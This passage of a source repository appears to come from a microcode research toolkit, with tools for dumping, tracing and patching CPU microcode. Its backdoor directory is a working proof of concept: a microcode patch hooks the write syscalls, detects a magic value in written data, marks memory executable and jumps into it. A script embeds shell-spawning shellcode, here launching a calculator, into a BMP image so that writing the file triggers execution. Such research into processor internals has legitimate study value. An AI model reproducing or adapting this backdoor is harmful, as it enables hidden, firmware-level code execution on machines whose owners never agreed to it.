ARRAY_SZ(ucode_patch)); 65 | u64 ret = ucode_invoke_2(addr, patch_value, entry_idx<<1); 66 | /* if (verbose) */ 67 | /* printf("hook_match_and_patch: %lx\n", ret); */ 68 | } 69 | 70 | u64 ldat_array_read(u64 pdat_reg, u64 array_sel, u64 bank_sel, u64 dword_idx, u64 fast_addr) { 71 | #include "ucode/ldat_read.h" 72 | patch_ucode(addr, ucode_patch, ARRAY_SZ(ucode_patch)); 73 | u64 array_bank_sel = 0x10000 | ((dword_idx & 0xf) << 12) | ((array_sel & 0xf) << 8) | (bank_sel & 0xf); 74 | u64 res = ucode_invoke_3(addr, pdat_reg, array_bank_sel, 0xc00000 | fast_addr); 75 | return res; 76 | } 77 | 78 | void do_fix_IN_patch() { 79 | // Patch U58ba to U017a 80 | hook_match_and_patch(0x1f, 0x58ba, 0x017a); 81 | } 82 | -------------------------------------------------------------------------------- /tools/Makefile: -------------------------------------------------------------------------------- 1 | DIRECTORIES = $(wildcard */) 2 | 3 | all: 4 | for f in $(DIRECTORIES) ; do make -C $$f all ; done 5 | 6 | .PHONY: all 7 | .DEFAULT_GOAL := all 8 | -------------------------------------------------------------------------------- /tools/backdoor/.gitignore: -------------------------------------------------------------------------------- 1 | backdoor 2 | backdoor_static 3 | -------------------------------------------------------------------------------- /tools/backdoor/Makefile: -------------------------------------------------------------------------------- 1 | CC = gcc 2 | CFLAGS = -O0 -fPIE -ggdb -Wall -masm=intel -Wmissing-field-initializers -Wno-unused-function -Wno-unused-variable 3 | DYNAMIC_CFLAGS = -Wl,-rpath . $(CFLAGS) 4 | STATIC_CFLAGS = -static -Wl,-R . $(CFLAGS) 5 | TARGET = backdoor 6 | TARGET_STATIC = $(TARGET)_static 7 | 8 | ARCHIVE_FILE = $(wildcard $(BUILD_DIR)/*.a) 9 | 10 | LIBS = -l $(LIBARY_PATH) 11 | 12 | SOURCES = $(wildcard *.c) 13 | HEADERS = $(wildcard *.h) $(wildcard ucode/*.h) 14 | 15 | $(TARGET_STATIC): $(SOURCES) $(HEADERS) 16 | $(CC) $(STATIC_CFLAGS) -I $(INCLUDE_DIR) $(SOURCES) $(ARCHIVE_FILE) -o $@ 17 | 18 | $(TARGET): $(SOURCES) $(HEADERS) 19 | $(CC) $(DYNAMIC_CFLAGS) -I $(INCLUDE_DIR) -L $(BUILD_DIR) $(SOURCES) -lmicro -o $@ 20 | 21 | all: $(TARGET_STATIC) $(TARGET) 22 | 23 | clean: 24 | rm -f $(TARGET_STATIC) $(TARGET) 25 | 26 | .PHONY: all clean 27 | .DEFAULT_GOAL := all 28 | -------------------------------------------------------------------------------- /tools/backdoor/backdoor.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "misc.h" 9 | #include "ldat.h" 10 | #include "patch.h" 11 | 12 | #include "ucode_macro.h" 13 | 14 | u8 verbose = 0; 15 | 16 | const char *argp_program_version = "custom-cpu v0.1"; 17 | static char doc[] = "Tool for patching ucode"; 18 | static char args_doc[] = ""; 19 | 20 | // cli argument availble options. 21 | static struct argp_option options[] = { 22 | {.name="verbose", .key='v', .arg=NULL, .flags=0, .doc="Produce verbose output"}, 23 | {.name="reset", .key='r', .arg=NULL, .flags=0, .doc="reset match & patch"}, 24 | {.name="syscall", .key='s', .arg=NULL, .flags=0, .doc="patch syscall"}, 25 | {.name="core", .key='c', .arg="core", .flags=0, .doc="core to patch [0-3]"}, 26 | {0} 27 | }; 28 | 29 | 30 | // define a struct to hold the arguments. 31 | struct arguments{ 32 | u8 verbose; 33 | u8 reset; 34 | u8 syscall; 35 | s8 core; 36 | }; 37 | 38 | 39 | // define a function which will parse the args. 40 | static error_t parse_opt(int key, char *arg, struct argp_state *state){ 41 | char *token; 42 | int i; 43 | struct arguments *arguments = state->input; 44 | switch(key){ 45 | 46 | case 'v': 47 | arguments->verbose = 1; 48 | break; 49 | case 'r': 50 | arguments->reset = 1; 51 | break; 52 | case 's': 53 | arguments->syscall = 1; 54 | break; 55 | case 'c': 56 | arguments->core = strtol(arg, NULL, 0); 57 | if (arguments->core < 0 || arguments->core > 3){ 58 | argp_usage(state); 59 | exit(EXIT_FAILURE); 60 | } 61 | break; 62 | 63 | default: 64 | return ARGP_ERR_UNKNOWN; 65 | } 66 | 67 | return 0; 68 | } 69 | 70 | void do_syscall_patch() { 71 | #include "ucode/syscall.h" 72 | if (verbose) 73 | print_patch(addr, ucode_patch, ARRAY_SZ(ucode_patch)); 74 | patch_ucode(addr, ucode_patch, ARRAY_SZ(ucode_patch)); 75 | hook_match_and_patch(0x12, hook_address, addr); 76 | hook_match_and_patch(0x13, 0x02e4, addr+0x24); 77 | } 78 | 79 | // initialize the argp struct. Which will be used to parse and use the args. 80 | static struct argp argp = {options, parse_opt, args_doc, doc, 0, 0, 0}; 81 | 82 | int main(int argc, char* argv[]) { 83 | setbuf(stdin, NULL); 84 | setbuf(stdout, NULL); 85 | setbuf(stderr, NULL); 86 | 87 | struct arguments arguments; 88 | memset(&arguments, 0, sizeof(struct arguments)); 89 | arguments.core = -1; 90 | 91 | argp_parse(&argp, argc, argv, 0, 0, &arguments); 92 | verbose = arguments.verbose; 93 | 94 | u8 core = (arguments.core < 0)? 0 : arguments.core; 95 | if (0 <= core && core <= 3) 96 | assign_to_core(core); 97 | else { 98 | printf("core out of bound"); 99 | exit(EXIT_FAILURE); 100 | } 101 | 102 | if (arguments.reset) { // Reset match and patch 103 | init_match_and_patch(); 104 | usleep(20000); 105 | } 106 | 107 | if (arguments.syscall) { // Reset match and patch 108 | do_fix_IN_patch(); 109 | do_syscall_patch(); 110 | } 111 | 112 | return 0; 113 | } 114 | -------------------------------------------------------------------------------- /tools/backdoor/calc.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zanderdk/lib-micro/f3a3a8d59961ae563fb7b9769cd82cde170c989c/tools/backdoor/calc.bmp -------------------------------------------------------------------------------- /tools/backdoor/exploit.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zanderdk/lib-micro/f3a3a8d59961ae563fb7b9769cd82cde170c989c/tools/backdoor/exploit.bmp -------------------------------------------------------------------------------- /tools/backdoor/genimg.py: -------------------------------------------------------------------------------- 1 | import os 2 | import struct 3 | import tempfile 4 | 5 | with tempfile.NamedTemporaryFile() as f_out: 6 | cmd = " ".join(["nasm", "-o", f_out.name, "img.s"]) 7 | os.system(cmd) 8 | payload = f_out.read() 9 | 10 | with open('calc.bmp', 'rb') as f: 11 | img = f.read() 12 | 13 | orig = struct.unpack('I', img[0xa:0xa+4])[0] 14 | 15 | exploit = img[:0xa] + struct.pack('I', 0xd8+len(payload)) + img[0xa+4:orig] 16 | exploit = exploit.ljust(0xd8, b'\x00') 17 | exploit += payload 18 | exploit += img[orig:] 19 | 20 | with open('exploit.bmp', 'wb') as f: 21 | f.write(exploit) 22 | -------------------------------------------------------------------------------- /tools/backdoor/img.s: -------------------------------------------------------------------------------- 1 | [bits 64] 2 | 3 | saved_rip: 4 | dq 0xd00df00d 5 | saved_rax: 6 | dq 0x0 7 | saved_rdi: 8 | dq 0x0 9 | saved_rsi: 10 | dq 0x0 11 | saved_rdx: 12 | dq 0x0 13 | 14 | code: 15 | mov rax, 0x39 ; SYS_fork 16 | syscall 17 | test rax, rax 18 | jz do_execve 19 | mov rax, [rel saved_rax] 20 | mov rdi, [rel saved_rdi] 21 | mov rsi, [rel saved_rsi] 22 | mov rdx, [rel saved_rdx] 23 | jmp [rel saved_rip] 24 | do_execve: 25 | push 0 26 | lea rax, [rel arg3] 27 | push rax 28 | lea rax, [rel arg2] 29 | push rax 30 | lea rax, [rel arg1] 31 | push rax 32 | 33 | mov rax, 0x3b ; SYS_execve 34 | lea rdi, [rel arg1] 35 | lea rsi, [rsp] 36 | lea rdx, [rsp+0x18] 37 | syscall 38 | 39 | arg1: 40 | db '/bin/sh', 0 41 | arg2: 42 | db '-c', 0 43 | arg3: 44 | db 'DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/$UID/bus systemd-run --user kcalc > /dev/null', 0 45 | -------------------------------------------------------------------------------- /tools/backdoor/ucode/syscall.h: -------------------------------------------------------------------------------- 1 | unsigned long addr = 0x7d30; 2 | unsigned long hook_address = 0x02e0; 3 | ucode_t ucode_patch[] = { 4 | { // 0x0 5 | XOR_DSZ64_DRI(TMP5, RAX, 0x1), // write 6 | UJMPCC_DIRECT_NOTTAKEN_CONDZ_RI(TMP5, addr+0x6), 7 | XOR_DSZ64_DRI(TMP5, RAX, 0x12), // pwrite64 8 | NOP_SEQWORD 9 | }, 10 | { // 0x4 11 | UJMPCC_DIRECT_NOTTAKEN_CONDZ_RI(TMP5, addr+0x6), 12 | UJMP_I(addr+0x2c), 13 | UJMPCC_DIRECT_NOTTAKEN_CONDZ_RI(RSI, addr+0x2c), 14 | NOP_SEQWORD 15 | }, 16 | { // 0x8 17 | ZEROEXT_DSZ64_DI(TMP6, 0xd00d), 18 | CONCAT_DSZ16_DRI(TMP6, TMP6, 0xf00d), 19 | ADD_DSZ64_DRI(TMP4, RSI, 0xd8), 20 | NOP_SEQWORD 21 | }, 22 | { // 0xc 23 | LDZX_DSZ64_ASZ32_SC1_DR(TMP5, TMP4, 0x18), 24 | XOR_DSZ64_DRR(TMP5, TMP5, TMP6), 25 | UJMPCC_DIRECT_NOTTAKEN_CONDNZ_RI(TMP5, addr+0x2c), 26 | NOP_SEQWORD 27 | }, 28 | { // 0x10 29 | // Save regs 30 | ZEROEXT_DSZ64_DM(TMP5, IMM_MACRO_ALIAS_RIP), 31 | SUB_DSZ64_DIR(TMP5, 0x2, TMP5), 32 | STAD_DSZ64_ASZ32_SC1_RRI(TMP5, TMP4, 0x0, SEG_DS), 33 | NOP_SEQWORD 34 | }, 35 | { // 0x14 36 | STAD_DSZ64_ASZ32_SC1_RRI(RAX, TMP4, 0x8, SEG_DS), 37 | STAD_DSZ64_ASZ32_SC1_RRI(RDI, TMP4, 0x10, SEG_DS), 38 | STAD_DSZ64_ASZ32_SC1_RRI(RSI, TMP4, 0x18, SEG_DS), 39 | NOP_SEQWORD 40 | }, 41 | { // 0x18 42 | STAD_DSZ64_ASZ32_SC1_RRI(RDX, TMP4, 0x20, SEG_DS), 43 | NOP, 44 | // Overwrite regs 45 | ADD_DSZ64_DRI(TMP5, RSI, 0x100), // jmp rsi+0x100 46 | NOP_SEQWORD 47 | }, 48 | { // 0x1c 49 | SUB_DSZ64_DIR(RDI, 0x1000, 0), 50 | AND_DSZ64_DRR(RDI, RDI, RSI), // rdi = rsi & ~0xfff 51 | ZEROEXT_DSZ64_DI(RSI, 0x2000), // rsi = 0x2000 52 | NOP_SEQWORD 53 | }, 54 | { // 0x20 55 | ZEROEXT_DSZ64_DI(RDX, 0x7), // rdx = PROT_READ | PROT_WRITE | PROT_EXEC 56 | ZEROEXT_DSZ64_DI(RAX, 0xa), // rax = mprotect 57 | UJMP_I(addr+0x2d), 58 | NOP_SEQWORD 59 | }, 60 | { // 0x24 61 | UJMPCC_DIRECT_NOTTAKEN_CONDNZ_RI(TMP5, addr+0x26), 62 | UJMP_I(addr+0x28), 63 | MOVE_DSZ64_DR(RCX, TMP5), 64 | SEQ_GOTO2(addr+0x29) | SEQ_NOSYNC 65 | }, 66 | { // 0x28 67 | ZEROEXT_DSZ64_DM(RCX, IMM_MACRO_ALIAS_RIP), 68 | SHR_DSZ64_DRI(TMP0, TMP0, 0x20), 69 | NOTAND_DSZ16_DIR(TMP0, 0x3, TMP0), 70 | SEQ_GOTO2(0x1d2) | SEQ_NOSYNC 71 | }, 72 | { // 0x2c 73 | XOR_DSZ64_DRR(TMP5, TMP5, TMP5), 74 | UPDATEUSTATE_NOT_I(0x1) | DST_ENCODE(TMP3), 75 | READURAM_DI(TMP4, 0x84), 76 | SEQ_GOTO2(0x2e2) | SEQ_NOSYNC 77 | } 78 | }; -------------------------------------------------------------------------------- /tools/dump/.gitignore: -------------------------------------------------------------------------------- 1 | dump 2 | dump_static 3 | -------------------------------------------------------------------------------- /tools/dump/Makefile: -------------------------------------------------------------------------------- 1 | CC = gcc 2 | CFLAGS = -O0 -fPIE -ggdb -Wall -masm=intel -Wmissing-field-initializers -Wno-unused-function -Wno-unused-variable 3 | DYNAMIC_CFLAGS = -Wl,-rpath . $(CFLAGS) 4 | STATIC_CFLAGS = -static -Wl,-R . $(CFLAGS) 5 | TARGET = dump 6 | TARGET_STATIC = $(TARGET)_static 7 | 8 | ARCHIVE_FILE = $(wildcard $(BUILD_DIR)/*.a) 9 | 10 | LIBS = -l $(LIBARY_PATH) 11 | 12 | SOURCES = $(wildcard *.c) 13 | HEADERS = $(wildcard *.h) $(wildcard ucode/*.h) 14 | 15 | $(TARGET_STATIC): $(SOURCES) $(HEADERS) 16 | $(CC) $(STATIC_CFLAGS) -I $(INCLUDE_DIR) $(SOURCES) $(ARCHIVE_FILE) -o $@ 17 | 18 | $(TARGET): $(SOURCES) $(HEADERS) 19 | $(CC) $(DYNAMIC_CFLAGS) -I $(INCLUDE_DIR) -L $(BUILD_DIR) $(SOURCES) -lmicro -o $@ 20 | 21 | all: $(TARGET_STATIC) $(TARGET) 22 | 23 | clean: 24 | rm -f $(TARGET_STATIC) $(TARGET) 25 | 26 | .PHONY: all clean 27 | .DEFAULT_GOAL := all 28 | -------------------------------------------------------------------------------- /tools/dump/dump.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "misc.h" 9 | #include "ldat.h" 10 | #include "dump.h" 11 | #include "patch.h" 12 | 13 | #include "ucode_macro.h" 14 | 15 | const char *argp_program_version = "custom-cpu v0.1"; 16 | static char doc[] = "Tool for patching ucode"; 17 | static char args_doc[] = ""; 18 | 19 | // cli argument availble options. 20 | static struct argp_option options[] = { 21 | {.name="dump_crbus", .key='b', .arg=NULL, .flags=0, .doc="dump uram"}, 22 | {.name="dump_ram", .key='d', .arg=NULL, .flags=0, .doc="dump uram"}, 23 | {.name="dump_array", .key='a', .arg="array", .flags=0, .doc="dump array"}, 24 | {.name="core", .key='c', .arg="core", .flags=0, .doc="core to patch [0-3]"}, 25 | {0} 26 | }; 27 | 28 | 29 | // define a struct to hold the arguments. 30 | struct arguments{ 31 | u8 bus; 32 | u8 uram; 33 | s8 array; 34 | s8 core; 35 | }; 36 | 37 | 38 | // define a function which will parse the args. 39 | static error_t parse_opt(int key, char *arg, struct argp_state *state){ 40 | char *token; 41 | int i; 42 | struct arguments *arguments = state->input; 43 | switch(key){ 44 | case 'd': 45 | arguments->uram = 1; 46 | break; 47 | case 'b': 48 | arguments->bus = 1; 49 | break; 50 | case 'a': 51 | arguments->array = strtol(arg, NULL, 0); 52 | if (arguments->array < 0 || arguments->array > 4){ 53 | argp_usage(state); 54 | exit(EXIT_FAILURE); 55 | } 56 | break; 57 | case 'c': 58 | arguments->core = strtol(arg, NULL, 0); 59 | if (arguments->core < 0 || arguments->core > 3){ 60 | argp_usage(state); 61 | exit(EXIT_FAILURE); 62 | } 63 | break; 64 | 65 | default: 66 | return ARGP_ERR_UNKNOWN; 67 | } 68 | 69 | return 0; 70 | } 71 | 72 | 73 | static struct argp argp = {options, parse_opt, args_doc, doc, 0, 0, 0}; 74 | 75 | int main(int argc, char* argv[]) { 76 | setbuf(stdin, NULL); 77 | setbuf(stdout, NULL); 78 | setbuf(stderr, NULL); 79 | 80 | struct arguments arguments; 81 | memset(&arguments, 0, sizeof(struct arguments)); 82 | arguments.array = -1; 83 | arguments.core = -1; 84 | 85 | argp_parse(&argp, argc, argv, 0, 0, &arguments); 86 | 87 | u8 core = (arguments.core < 0)? 0 : arguments.core; 88 | if (0 <= core && core <= 3) 89 | assign_to_core(core); 90 | else { 91 | printf("core out of bound"); 92 | exit(EXIT_FAILURE); 93 | } 94 | 95 | if (arguments.array > -1) { // Dump array 96 | u8 array_idx = arguments.array; 97 | if (array_idx == 0) { 98 | ms_ro_code_dump(); 99 | } else if (array_idx == 1) { 100 | ms_ro_seqw_dump(); 101 | } else if (array_idx == 2) { 102 | ms_rw_seqw_dump(); 103 | } else if (array_idx == 3) { 104 | ms_match_n_patch_dump(); 105 | } else if (array_idx == 4) { 106 | ms_rw_code_dump(); 107 | } else { 108 | printf("Invalid array index\n"); 109 | } 110 | } 111 | 112 | if(arguments.uram) { 113 | uram_dump(); 114 | } 115 | 116 | if(arguments.bus) { 117 | crbus_dump(); 118 | } 119 | 120 | return 0; 121 | } 122 | -------------------------------------------------------------------------------- /tools/main/.gitignore: -------------------------------------------------------------------------------- 1 | main 2 | main_static 3 | -------------------------------------------------------------------------------- /tools/main/Makefile: -------------------------------------------------------------------------------- 1 | CC = gcc 2 | CFLAGS = -O0 -fPIE -ggdb -Wall -masm=intel -Wmissing-field-initializers -Wno-unused-function -Wno-unused-variable 3 | DYNAMIC_CFLAGS = -Wl,-rpath . $(CFLAGS) 4 | STATIC_CFLAGS = -static -Wl,-R . $(CFLAGS) 5 | TARGET = main 6 | TARGET_STATIC = $(TARGET)_static 7 | 8 | ARCHIVE_FILE = $(wildcard $(BUILD_DIR)/*.a) 9 | 10 | LIBS = -l $(LIBARY_PATH) 11 | 12 | SOURCES = $(wildcard *.c) 13 | HEADERS = $(wildcard *.h) $(wildcard ucode/*.h) 14 | 15 | $(TARGET_STATIC): $(SOURCES) $(HEADERS) 16 | $(CC) $(STATIC_CFLAGS) -I $(INCLUDE_DIR) $(SOURCES) $(ARCHIVE_FILE) -o $@ 17 | 18 | $(TARGET): $(SOURCES) $(HEADERS) 19 | $(CC) $(DYNAMIC_CFLAGS) -I $(INCLUDE_DIR) -L $(BUILD_DIR) $(SOURCES) -lmicro -o $@ 20 | 21 | all: $(TARGET_STATIC) $(TARGET) 22 | 23 | clean: 24 | rm -f $(TARGET_STATIC) $(TARGET) 25 | 26 | .PHONY: all clean 27 | .DEFAULT_GOAL := all 28 | -------------------------------------------------------------------------------- /tools/main/main.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "misc.h" 9 | #include "ldat.h" 10 | #include "patch.h" 11 | 12 | #include "ucode_macro.h" 13 | 14 | u8 verbose = 0; 15 | 16 | #define JUMP_DESTINATION 0x7c10 17 | void install_jump_target(void) { 18 | unsigned long addr = JUMP_DESTINATION; 19 | 20 | ucode_t ucode_patch[] = { 21 | { MOVE_DSZ64_DI(RAX, 0x1234), MOVE_DSZ64_DR(RBX, TMP1), NOP, 22 | SEQ_NEXT | SEQ_SYNCWTMRK(2) }, //0x7d00 23 | {UNK256, NOP, NOP, END_SEQWORD}, //0x7d04 24 | }; 25 | if (verbose) 26 | printf("patching addr: %08lx - ram: %08lx\n", addr, ucode_addr_to_patch_addr(addr)); 27 | patch_ucode(addr, ucode_patch, ARRAY_SZ(ucode_patch)); 28 | if (verbose) 29 | printf("jump_target return value: 0x%lx\n", ucode_invoke(addr)); 30 | } 31 | 32 | void persistent_trace(u64 addr, u64 hook_address, u64 idx) { 33 | if (hook_address % 4 != 0) { 34 | printf("persistent_trace only supports 4-aligned uaddrs currently. (%04lx)\n", hook_address); 35 | return; 36 | } 37 | install_jump_target(); 38 | u64 uop0 = ldat_array_read(0x6a0, 0, 0, 0, hook_address+0) & CRC_UOP_MASK; 39 | u64 uop1 = ldat_array_read(0x6a0, 0, 0, 0, hook_address+1) & CRC_UOP_MASK; 40 | u64 uop2 = ldat_array_read(0x6a0, 0, 0, 0, hook_address+2) & CRC_UOP_MASK; 41 | u64 seqw = ldat_array_read(0x6a0, 1, 0, 0, hook_address) & CRC_SEQ_MASK; 42 | 43 | ucode_t ucode_patch[] = { 44 | { // 0x0 45 | UJMP_I(addr+0x4), 46 | UJMP_I(addr+0x15), 47 | UJMP_I(addr+0x16), 48 | NOP_SEQWORD 49 | }, 50 | { // 0x4 51 | TESTUSTATE_SYS_NOT(0x2), 52 | STADSTGBUF_DSZ64_ASZ16_SC1_RI(TMP0, 0xba40), 53 | STADSTGBUF_DSZ64_ASZ16_SC1_RI(TMP1, 0xba80), 54 | SEQ_GOTO0(addr+0x14) 55 | }, 56 | { // 0x8 57 | ZEROEXT_DSZ32_DI(TMP0, 0xdead), 58 | CONCAT_DSZ16_DRR(TMP0, TMP0, TMP0), 59 | CONCAT_DSZ32_DRR(TMP0, TMP0, TMP0), 60 | NOP_SEQWORD 61 | }, 62 | { // 0xc 63 | XOR_DSZ64_DRR(TMP0, TMP0, RAX), 64 | MOVE_DSZ64_DI(TMP1, hook_address), 65 | UJMPCC_DIRECT_NOTTAKEN_CONDZ_RI(TMP0, JUMP_DESTINATION), 66 | NOP_SEQWORD, 67 | }, 68 | { // 0x10 69 | LDSTGBUF_DSZ64_ASZ16_SC1_DI(TMP0, 0xba40), 70 | LDSTGBUF_DSZ64_ASZ16_SC1_DI(TMP1, 0xba80), 71 | NOP, 72 | NOP_SEQWORD, 73 | }, 74 | { // 0x14 75 | uop0, uop1, uop2, seqw 76 | }, 77 | { // 0x18 78 | UJMP_I(hook_address+4), UJMP_I(hook_address+5), UJMP_I(hook_address+6), NOP_SEQWORD 79 | } 80 | }; 81 | 82 | if (verbose) { 83 | printf("Patching %04lx -> %04lx\n", hook_address, addr); 84 | print_patch(addr, ucode_patch, ARRAY_SZ(ucode_patch)); 85 | } 86 | 87 | patch_ucode(addr, ucode_patch, ARRAY_SZ(ucode_patch)); 88 | hook_match_and_patch(idx, hook_address, addr); 89 | } 90 | 91 | u64 make_seqw_goto_syncfull(u64 target_addr) { 92 | u64 seqw = 0x9000080 | ((target_addr & 0x7fff) << 8); 93 | return seqw | (parity0(seqw) << 28) | (parity1(seqw) << 29); 94 | } 95 | void insert_trace(u64 tracing_addr) { 96 | #include "ucode/trace.h" 97 | 98 | patch_ucode(addr, ucode_patch, ARRAY_SZ(ucode_patch)); 99 | hook_match_and_patch(0, tracing_addr, addr); 100 | } 101 | 102 | const char *argp_program_version = "custom-cpu v0.1"; 103 | static char doc[] = "Tool for patching ucode"; 104 | static char args_doc[] = ""; 105 | 106 | // cli argument availble options. 107 | static struct argp_option options[] = { 108 | {.name="verbose", .key='v', .arg=NULL, .flags=0, .doc="Produce verbose output"}, 109 | {.name="reset", .key='r', .arg=NULL, .flags=0, .doc="reset match & patch"}, 110 | {.name="wait_trace", .key='w', .arg=NULL, .flags=0, .doc="wait for hit on trace"}, 111 | {.name="xlat_fuzz", .key='x', .arg="uaddrs", .flags=0, .doc="start fuzzing xlats"}, 112 | {.name="trace", .key='t', .arg="uaddr", .flags=0, .doc="trace ucode addr"}, 113 | {.name="backtrace", .key='b', .arg="uaddr,reg", .flags=0, .doc="get previous ucode addr"}, 114 | {.name="core", .key='c', .arg="core", .flags=0, .doc="core to patch [0-3]"}, 115 | {0} 116 | }; 117 | 118 | 119 | // define a struct to hold the arguments. 120 | struct arguments{ 121 | u8 verbose; 122 | u8 reset; 123 | u8 wait; 124 | u8 xlat; 125 | u8 bt_reg; 126 | s32 bt_uaddr; 127 | s32 trace_addr; 128 | s32 uaddrs[0x10]; 129 | u8 uaddr_count; 130 | s8 core; 131 | }; 132 | 133 | 134 | // define a function which will parse the args. 135 | static error_t parse_opt(int key, char *arg, struct argp_state *state){ 136 | char *token; 137 | int i; 138 | struct arguments *arguments = state->input; 139 | const char* uaddr_s; 140 | const char* reg_s; 141 | switch(key){ 142 | 143 | case 'v': 144 | arguments->verbose = 1; 145 | break; 146 | case 'r': 147 | arguments->reset = 1; 148 | break; 149 | case 'w': 150 | arguments->wait = 1; 151 | break; 152 | case 'x': 153 | token = strtok(arg, ","); 154 | for (i = 0; i < 0x10 && token != NULL; i++, token = strtok(NULL, ",")) { 155 | arguments->uaddrs[i] = strtol(token, NULL, 0); 156 | if (arguments->uaddrs[i] < 0) { 157 | argp_usage(state); 158 | exit(EXIT_FAILURE); 159 | } 160 | } 161 | arguments->uaddr_count = i; 162 | arguments->xlat = 1; 163 | break; 164 | case 'b': 165 | uaddr_s = strtok(arg, ","); 166 | reg_s = strtok(NULL, ""); 167 | if (reg_s == NULL) { 168 | argp_usage(state); 169 | exit(EXIT_FAILURE); 170 | } 171 | arguments->bt_uaddr = strtol(uaddr_s, NULL, 0); 172 | arguments->bt_reg = strtol(reg_s, NULL, 0); 173 | 174 | if (arguments->bt_uaddr < 0 || arguments->bt_reg > 0xf) { 175 | argp_usage(state); 176 | exit(EXIT_FAILURE); 177 | } 178 | break; 179 | case 't': 180 | arguments->trace_addr = strtol(arg, NULL, 0); 181 | if (arguments->trace_addr < 0){ 182 | argp_usage(state); 183 | exit(EXIT_FAILURE); 184 | } 185 | break; 186 | case 'c': 187 | arguments->core = strtol(arg, NULL, 0); 188 | if (arguments->core < 0 || arguments->core > 3){ 189 | argp_usage(state); 190 | exit(EXIT_FAILURE); 191 | } 192 | break; 193 | 194 | default: 195 | return ARGP_ERR_UNKNOWN; 196 | } 197 | 198 | return 0; 199 | } 200 | 201 | general_purpose_regs try_xlat(u64 val) { 202 | u64 rax = val; 203 | general_purpose_regs result = {0}; 204 | lmfence(); 205 | asm volatile( 206 | "sysenter\n\t" 207 | : "=a" (result.rax) 208 | , "=b" (result.rbx) 209 | , "=c" (result.rcx) 210 | , "=d" (result.rdx) 211 | : "a" (rax), "b"(&result.rbx), "c"(3), "d"(4) 212 | : "rdi", "r8", "r9", "r10", "r11", "r12", "r13", "r14", "r15" 213 | ); 214 | lmfence(); 215 | return result; 216 | } 217 | 218 | void xlat_fuzzing(int* uaddrs, int size) { 219 | 220 | staging_write(0xba00, 0x0); 221 | uram_write(0x2c, 0x0); 222 | 223 | u64 cpuid_xlat = 0x0be0; 224 | u64 pause_xlat = 0x0bf0; 225 | u64 iret_xlat = 0x07c8; //think this is wrong 226 | u64 vmxon_xlat = 0x0ae8; 227 | u64 vmxoff_xlat = 0x08c8; 228 | u64 vmlaunch_xlat = 0x0328; 229 | u64 vmclear_xlat = 0x0af8; 230 | u64 hlt_xlat = 0x0818; 231 | 232 | u64 uaddr = 0x7c20; 233 | for (u64 i = 0; i < size; i++) { 234 | persistent_trace(uaddr + i * 0x20, uaddrs[i], i); 235 | } 236 | general_purpose_regs val = try_xlat(0xdeaddeaddeaddeadUL); 237 | printf("rax: 0x%lx\n", val.rax); 238 | printf("rbx: 0x%lx\n", val.rbx); 239 | printf("rcx: 0x%lx\n", val.rcx); 240 | printf("rdx: 0x%lx\n", val.rdx); 241 | puts(""); 242 | } 243 | 244 | void do_backtrace(u64 hook_address, u64 testreg) { 245 | u64 aligned_hook_address = hook_address & ~3; 246 | u64 uop0 = ldat_array_read(0x6a0, 0, 0, 0, aligned_hook_address+0) & CRC_UOP_MASK; 247 | u64 uop1 = ldat_array_read(0x6a0, 0, 0, 0, aligned_hook_address+1) & CRC_UOP_MASK; 248 | u64 uop2 = ldat_array_read(0x6a0, 0, 0, 0, aligned_hook_address+2) & CRC_UOP_MASK; 249 | u64 seqw = ldat_array_read(0x6a0, 1, 0, 0, aligned_hook_address) & CRC_SEQ_MASK; 250 | 251 | unsigned long addr = 0x7c10; 252 | if (hook_address % 4 == 0) { 253 | #include "ucode/backtrace0.h" 254 | patch_ucode(addr, ucode_patch, ARRAY_SZ(ucode_patch)); 255 | } else if (hook_address % 4 == 1) { 256 | #include "ucode/backtrace1.h" 257 | patch_ucode(addr, ucode_patch, ARRAY_SZ(ucode_patch)); 258 | } else if (hook_address % 4 == 2) { 259 | #include "ucode/backtrace2.h" 260 | patch_ucode(addr, ucode_patch, ARRAY_SZ(ucode_patch)); 261 | } else { 262 | printf("Invalid uaddr\n"); 263 | exit(-1); 264 | } 265 | if (verbose) 266 | printf("Patching %04lx -> %04lx\n", hook_address & ~1, addr); 267 | hook_match_and_patch(1, hook_address & ~1, addr); 268 | 269 | general_purpose_regs val = try_xlat(0xdeaddeaddeaddeadUL); 270 | printf("rax: 0x%lx\n", val.rax); 271 | printf("rbx: 0x%lx\n", val.rbx); 272 | printf("rcx: 0x%lx\n", val.rcx); 273 | printf("rdx: 0x%lx\n", val.rdx); 274 | puts(""); 275 | } 276 | 277 | 278 | // initialize the argp struct. Which will be used to parse and use the args. 279 | static struct argp argp = {options, parse_opt, args_doc, doc, 0, 0, 0}; 280 | 281 | int main(int argc, char* argv[]) { 282 | setbuf(stdin, NULL); 283 | setbuf(stdout, NULL); 284 | setbuf(stderr, NULL); 285 | 286 | struct arguments arguments; 287 | memset(&arguments, 0, sizeof(struct arguments)); 288 | arguments.trace_addr = -1; 289 | arguments.bt_uaddr = -1; 290 | arguments.core = -1; 291 | 292 | argp_parse(&argp, argc, argv, 0, 0, &arguments); 293 | verbose = arguments.verbose; 294 | 295 | u8 core = (arguments.core < 0)? 0 : arguments.core; 296 | if (0 <= core && core <= 3) 297 | assign_to_core(core); 298 | else { 299 | printf("core out of bound"); 300 | exit(EXIT_FAILURE); 301 | } 302 | 303 | if (arguments.reset) { // Reset match and patch 304 | init_match_and_patch(); 305 | do_fix_IN_patch(); 306 | } 307 | 308 | if (arguments.xlat) { 309 | xlat_fuzzing(arguments.uaddrs, arguments.uaddr_count); 310 | } 311 | 312 | if (arguments.trace_addr > -1) { // Do trace 313 | uram_write(0x69, 0xd00df00d); 314 | u64 trace_addr = arguments.trace_addr; 315 | insert_trace(trace_addr); 316 | if (arguments.wait) { 317 | for (int i = 0; i < 100; i++) { 318 | usleep(250000); 319 | if (uram_read(0x69) != 0xd00df00d) { 320 | printf("\nrip: 0x%016lx\n", uram_read(0x69)); 321 | return 0; 322 | } 323 | printf("."); 324 | } 325 | printf("\nPath not hit\n"); 326 | } 327 | } 328 | if (arguments.bt_uaddr > -1) { // Do backtrace 329 | 